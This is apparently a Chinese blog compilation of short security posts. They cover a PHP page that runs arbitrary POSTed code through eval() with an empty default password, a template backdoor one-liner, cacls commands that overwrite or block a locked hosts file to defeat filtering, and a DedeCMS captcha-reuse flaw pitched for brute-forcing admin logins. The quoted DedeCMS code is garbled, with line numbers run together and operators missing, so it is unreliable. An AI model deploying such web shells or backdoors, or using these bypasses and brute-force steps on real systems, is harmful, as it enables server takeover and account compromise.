一个临时执行php代码的小工具

放到服务器上写点临时的代码做测试或者输出一些全局变量什么的挺好的,不用新建文件了,记录下。

<?php
$password='';
session_start();
if((isset($_SESSION['password'])?$_SESSION['password']:'')!=$password and (isset($_POST['password'])?$_POST['password']:'')!=$password){
?>
<form action="" method="post">
    <input type="text" name="password">
    <input type="submit">
</form>
<?php 
    exit;
}else{
    $_SESSION['password']=$password;
}?>
<html>
<head>
<style>textarea{width:500px;height:auto;min-height:200px;}</style>
</head>
<body>
    <form method="post" action="">
        <textarea name="heianshell" width="1000px" height="5px">
        <?php echo isset($_POST['heianshell'])?$_POST['heianshell']:'phpinfo();'?>
        </textarea><input type="submit" value="run">
    </form>
    <br>
    <?php
        $eval=isset($_POST['heianshell'])?$_POST['heianshell']:'';
        eval($eval);
    ?>
    <br>
</body>
<html/>

模板带来便利同时带来的安全威胁

比如 thinkphp zend framework ,这两个是代表性的框架,自带的模板系统默认是支持php代码直接嵌入到里面的,还有其他框架估计为了带来更为强大的功能和灵活性也会支持这个。既然是框架了,就要有点条条框框去限制下,不能让代码在视图里随意去执行,也许暂时带来了便利,但是以后的维护会加大成本。可能你会说修改下框架配置,禁用下函数啊什么的,但是默认支持这个东西就必然会造成大部分人不去修改它,想当年的动网论坛默认账号密码、默认数据库地址让多少网站沦陷,后遗症不定时出现!

一、造成目录权限难以控制,模板目录设置成可读可写不可执行,常理的话这里面的php代码不会执行,可是经过模板系统的解析php代码能执行了,现在我们可以直接把代码添加到模板里面,只要模板被解析过就运行了,添加<?php @eval($_GET[‘eval’])?>进去能绝对的顺利执行。你找后门在M层去找吧累死也找不到吧?

二、日常维护网站带来不必要的工作,网站被攻破时候黑客可以把php代码插到html里去,这样的后门对黑客来说是不是很好用呢?

话说smarty3模板做的真专业, 最新版本已经完全禁止了在模板中嵌入php代码。smarty是个不错的东西,人家就是做的好啊!

这种安全问题仅仅出现在使用开源cms,使用第三方模板的情况下。

网吧hosts文件禁止写入时的一点解决办法

近来做测试时用到了hosts文件,网吧里面却有各种锁定hosts文件的方法(只读啦,权限限制啦、后台还有程序无限替换hosts文件),终于找到是哪几个进程在搞怪了,进程也都结束掉了,这下可以用了,突然蓝屏了,蛋疼,又换了种方法试试可以了。

下面是一个解决方法记录下,不能保证绝对有用,不过可以试试:

echo Y|cacls %systemroot%\system32\drivers\etc\hosts /G everyone:W 
echo 127.0.0.1    localhost >%systemroot%\system32\drivers\etc\hosts 
echo 127.0.0.1    www.my.com >>%systemroot%\system32\drivers\etc\hosts 
echo Y|cacls %systemroot%\system32\drivers\etc\hosts /G everyone:R 
pause

/****************************分割线*********************************/

测试的时候又发现了一个可能会被恶意利用的地方,此方法希望网管朋友们做安全防护时注意一下,其实就一句话:

echo Y|cacls %systemroot%\system32\drivers\etc\hosts /D everyone

此时hosts文件对所有用户拒绝访问,自然hosts文件就不起作用了,你hosts文件做的限制再多一个拒绝访问全绕过,用hosts文件做恶意网址过滤的这下你功夫白费了。

dedecms 验证码的漏洞

dedecms在验证完验证码的正确以后并没有注销掉session里面的验证码结果,导致可以在session生命周期内无限用第一次获取的验证码

文件 /dede/login.php 和 /plus/feedback.php 存在漏洞,其他有验证码的地方估计也是有的

部分代码如下:

/dede/login.php 行 62-112

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051if($dopost=='login'){$validate empty($validate) ? '' strtolower(trim($validate));$svali strtolower(GetCkVdValue());if(($validate=='' || $validate != $svali) && preg_match("/6/",)){ResetVdValue();  //************这里注销了验证码************//ShowMsg('验证码不正确!','login.php',0,1000);exit;else {  //********而验证码正确的时候直接开始查询数据库没有注销掉验证码***//$cuserLogin new userLogin($admindir);if(!empty($userid) && !empty($pwd)){$res $cuserLogin->checkUser($userid,$pwd); //successif($res==1){$cuserLogin->keepUser();if(!empty($gotopage)){ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);exit();}else{ShowMsg('成功登录,正在转向管理管理主页!',"index.php");exit();}} //errorelse if($res==-1){ShowMsg('你的用户名不存在!',-1,0,1000);exit;}else{ShowMsg('你的密码错误!',-1,0,1000);exit;}} //password emptyelse{ShowMsg('用户和密码没填写完整!',-1,0,1000);exit;}}$safe_gdopen}

测试:

1.打开后台登录页面,输入一个错误的帐号密码,输入正确的验证码,先不登录把浏览器的图片功能关闭,然后登录会提示帐号密码错误

2.我们再回到登录界面,这时候验证码已经可以重复使用了,直到服务器的SESSION生命周期结束,当然登录成功的话就不测试了

评论的地方测试也是这样

利用:

1.暴力破解后台帐号密码,比较鸡助啊!

2.无限提交评论,无聊啊!